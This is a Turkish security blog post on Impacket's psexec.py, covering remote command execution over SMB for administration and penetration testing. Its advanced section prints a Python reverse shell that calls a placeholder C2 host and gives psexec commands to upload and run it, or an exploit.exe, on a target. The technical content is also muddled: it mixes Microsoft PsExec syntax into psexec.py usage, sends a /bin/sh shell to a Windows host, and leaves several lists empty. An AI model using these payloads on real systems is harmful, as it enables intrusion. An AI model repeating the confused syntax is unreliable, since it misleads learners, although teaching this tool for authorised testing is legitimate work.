CyberFlow Logo CyberFlow 📚 Blog

psexec.py - SMB üzerinden uzak komut yürütme

✍️ Ahmet BİRKAN 📂 kali_tools_post_exploitation_araclari
psexec.py - SMB üzerinden uzak komut yürütme Giriş Giriş Günümüzde siber güvenlik, bilgi teknolojilerinin hızla evrildiği bir ortamda, organizasyonların veri g…
psexec.py - SMB üzerinden uzak komut yürütme

psexec.py - SMB üzerinden uzak komut yürütme

Giriş

Giriş

Günümüzde siber güvenlik, bilgi teknolojilerinin hızla evrildiği bir ortamda, organizasyonların veri güvenliğini sağlamak için önemli bir alan haline gelmiştir. Bu bağlamda, uzaktan komut yürütme teknikleri, siber tehdit analizi ve sistem yönetiminde kritik bir rol oynamaktadır. psexec.py, bu tekniklerin uygulanmasında özellikle dikkate değer bir araçtır. Bu yazıda, psexec.py aracının özelliklerini, kullanım alanlarını ve siber güvenlikteki önemini ele alacağız.

psexec.py Nedir?

psexec.py, Impacket kütüphanesine ait bir Python betiktir. Bu araç, SMB (Server Message Block) protokolü üzerinden uzak sistemlerde komut çalıştırmanızı sağlar. Özellikle Windows işletim sistemlerinde yaygın olarak kullanılmakla birlikte, diğer platformlar için de bazı senaryolarda uygulanabilir. psexec.py kullanılarak, yetkili bir kullanıcı gibi hareket ederek uzak sistemlerde komutlar yürütülebilir, dosyalar yönetilebilir veya çeşitli görevler otomatikleştirilebilir.

Neden Önemli?

Saldırganlar tarafından kötü niyetli olarak kullanılması mümkün olan psexec.py, aynı zamanda sistem yöneticileri ve güvenlik uzmanları için de bir yardım aracı işlevi görür. Uzak komut yürütme yetenekleri sayesinde, bir ağ üzerindeki kaynakların yönetiminde ve izlenmesinde büyük kolaylık sağlar. Örneğin, bir sistem yöneticisi, uzaktaki bir sunucudan güncellemeleri uygulamak veya dosya kopyalamak için psexec.py'yi kullanabilir.

Ancak bu kolaylık, eğer kötü amaçlı kişiler tarafından ele geçirilirse, organizasyonlar için büyük riskler oluşturur. Bu nedenle, psexec.py'nin hem yararlı hem de potansiyel olarak zarar verebilecek bir araç olarak çift yönlü bir bakış açısına sahip olunması gerekmektedir.

Kullanım Alanları

psexec.py, aşağıdaki gibi birçok farklı alanda kullanılmaktadır:

python psexec.py user:password@target-machine cmd.exe

Siber Güvenlik Açısından Değerlendirme

psexec.py'nin siber güvenlik perspektifinden değerlendirilmesi önemlidir. Hem sistem yöneticileri hem de saldırganlar tarafından kullanılabilen bu araç, güvenlik önlemlerinin önemini artırmaktadır. Güvenlik duvarları, ağ segmentasyonu ve güncel yazılım kullanımı gibi pratikler, bu tür araçların kötüye kullanılmasını engellemek için kritik öneme sahiptir.

Özetle, psexec.py, ağ yönetimi ve güvenlikte önemli bir araçtır, ancak dikkatli kullanılmadığı takdirde büyük riskler taşır. Bu nedenle, kullanımı ve olası sonuçları hakkında yeterli bilgi ve deneyime sahip olmak son derece önemlidir.

Teknik Detay

Teknik Detay

smbexec ve psexec gibi araçlar, SMB (Server Message Block) protokolü üzerinden uzak sistemlerde komut yürütmek için yaygın olarak kullanılır. psexec.py, bu işlevi Python üzerinde gerçekleştiren bir aracı ifade eder, özellikle saldırganların belirli sistemlere erişim sağlamak için kullandığı yöntemlerden biridir. Bu bölümde, psexec.py aracının çalışma mantığını, teknik bileşenlerini ve dikkat edilmesi gereken noktaları detaylı şekilde ele alacağız.

Çalışma Mantığı

psexec.py, Microsoft'un PsExec aracının Python'da yazılmış bir versiyonudur. Aracın temel işlevi, SMB protokolü aracılığı ile uzak bir makinede belirli komutlar çalıştırmaktır. Bu işlem, genellikle hedef sistemde yönetici (admin) yetkilerine sahip hesap bilgileri ile gerçekleştirilir.

Adım Adım İşlem

  1. Bağlantı Kurulması: Hedef sistemle bir SMB bağlantısı oluşturulur. Bu bağlantı, genellikle HOSTNAME, username ve password parametreleri kullanılarak gerçekleşir.

  2. Yetkilendirme: Kullanıcı adı ve şifre ile hedef sisteme bağlanıldığında, kullanılacak kimlik bilgileri yerel sistemde doğrulanır. Yetkili bir kullanıcı kimliği, hedef sistem üzerinde işlem yapılmasını sağlar. Bu aşamada, kimlik bilgileri, bazen kriptografi ile şifrelenmeden gönderilebilir, bu da güvenlik riski oluşturur.

  3. Komutun Gönderilmesi: Komut gönderme aşamasında, belirtilen komut psexec.py aracı tarafından hedef sisteme iletilir. Bu adımda kullanılan -c (copy) seçeneği ile komut dosyaları hedef makineye kopyalanabilir.

  4. Sonuçların Alma: Hedef sistemde çalıştırılan komutun çıktısı, yerel sisteme geri gönderilir ve burada görüntülenir.

Kullanılan Yöntemler ve Dikkat Edilmesi Gereken Noktalar

psexec.py aracı kullanılırken, bazı yöntemler ve dikkat edilmesi gereken noktalar bulunmaktadır:

Örnek Kullanım

Aşağıdaki komut, psexec.py aracını kullanarak bir hedef sistemde bir komut çalıştırmanın örneğidir:

python psexec.py <Hedef_IP> -u <Kullanıcı_Adı> -p <Şifre> cmd.exe

Bu komut, hedef IP adresinde belirtilen kullanıcı adı ve şifre ile bir cmd.exe oturumu açacaktır.

Sonuç

psexec.py aracı, siber güvenlik camiasında önemli bir role sahiptir. Hem saldırılar hem de sistem yönetimi için kritik öneme sahip olan bu aracın dikkatli bir şekilde kullanılması gerekmektedir. Araçla ilgili bilgi edinmek, uygun güvenlik önlemlerini almak ve potansiyel tehditleri anlayarak sistemleri korumak için hayati önem taşır. Gelişen güvenlik teknolojileri ve tehditler doğrultusunda, bu araca ve kullanılan yöntemlere dair bilgi sahibi olmak, siber güvenlik uzmanları için kaçınılmaz bir gereklilik haline gelmiştir.

İleri Seviye

psexec.py ile SMB Üzerinden Uzak Komut Yürütme

psexec.py Nedir?

psexec.py, impacket kütüphanesinin bir parçası olup Windows sistemleri üzerinde SMB (Server Message Block) protokolü aracılığıyla uzak komut yürütmeyi sağlar. Sızma testleri yaparken, kurban sistem üzerinde komut çalıştırmak için son derece etkili bir araçtır. Bu yazıda, psexec.py komutunun nasıl kullanılacağını, potansiyel saldırı vektörlerini ve dikkat edilmesi gereken noktaları ele alacağız.

Sızma Testi Yaklaşımı

Sızma testleri sırasında psexec.py kullanırken, aşağıdaki adımlar izlenebilir:

  1. Hedef Sistem Bilgisi Toplama: Hedef sistemin IP adresi, açık portları ve işletim sistemi sürümü hakkında bilgi sahibi olun.
  2. Kullanıcı Kimlik Bilgileri: Hedef sistem üzerinde geçerli bir kullanıcı adı ve parolaya sahip olmanız gerekir. Bu bilgileri toplamak için sosyal mühendislik veya zafiyet tarama araçları kullanılabilir.
  3. Erişim ve İzin Kontrolü: Hedef sistemdeki kullanıcı hesabının yeterli izinlere sahip olup olmadığını kontrol edin.

Temel Kullanım

psexec.py kullanarak bir komut çalıştırmak için aşağıdaki gibi bir yapı izlenir:

python psexec.py <KULLANICI_ADI>:<PAROLA>@<HEDEF_IP> <KOMUT>

Örneğin, hedef sistemde ipconfig komutunu çalıştırmak için kullanabileceğiniz komut:

python psexec.py administrator:Password123@192.168.1.10 ipconfig

İleri Seviye Kullanım

Payload Oluşturma

psexec.py kullanarak daha karmaşık saldırılar yapmak için özel payload'lar hazırlamak gerekebilir. Örneğin, bir reverse shell payload’ı oluşturmak isteyebilirsiniz. Python ile bir reverse shell scripti oluşturabilirsiniz:

import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("C2_SERVER_IP", C2_SERVER_PORT))

os.dup2(s.fileno(), 0)  # stdin
os.dup2(s.fileno(), 1)  # stdout
os.dup2(s.fileno(), 2)  # stderr

p = subprocess.call(["/bin/sh", "-i"])

Yukarıdaki scripti hedef sisteme yükleyip çalıştırmak için şu şekilde bir psexec.py komutu kullanılabilir:

python psexec.py administrator:Password123@192.168.1.10 -c reverse_shell.py

Komut Formatı ve Seçenekler

psexec.py ile çalışırken, belirli seçenekleri kullanarak özelleştirilmiş komutlar oluşturabilirsiniz. Kullanabileceğiniz bazı yaygın seçenekler şunlardır:

Örneğin, dosya kopyalama ve ardından komut yürütme için:

python psexec.py administrator:Password123@192.168.1.10 -c exploit.exe -d cmd.exe

Analiz Mantığı

psexec.py kullanımı sırasında, hedef sistemin güvenlik önlemlerini aşmak için dikkat edilmesi gereken bazı noktalar bulunmaktadır:

Sonuç

psexec.py, doğru kullanıldığında son derece etkili bir araçtır. Ancak, etik sızma testleri kapsamında kullanılmalı ve hedef sistem sahiplerinin izinleri alınmalıdır. Önerilen tüm teknikler ve komutlar, eğitim ve güvenlik testleri amacıyla kullanılmalıdır. Siber güvenlik alanında bilgi ve becerilerinizi artırarak, daha güvenli bir dijital dünya inşa etmeye katkıda bulunabilirsiniz.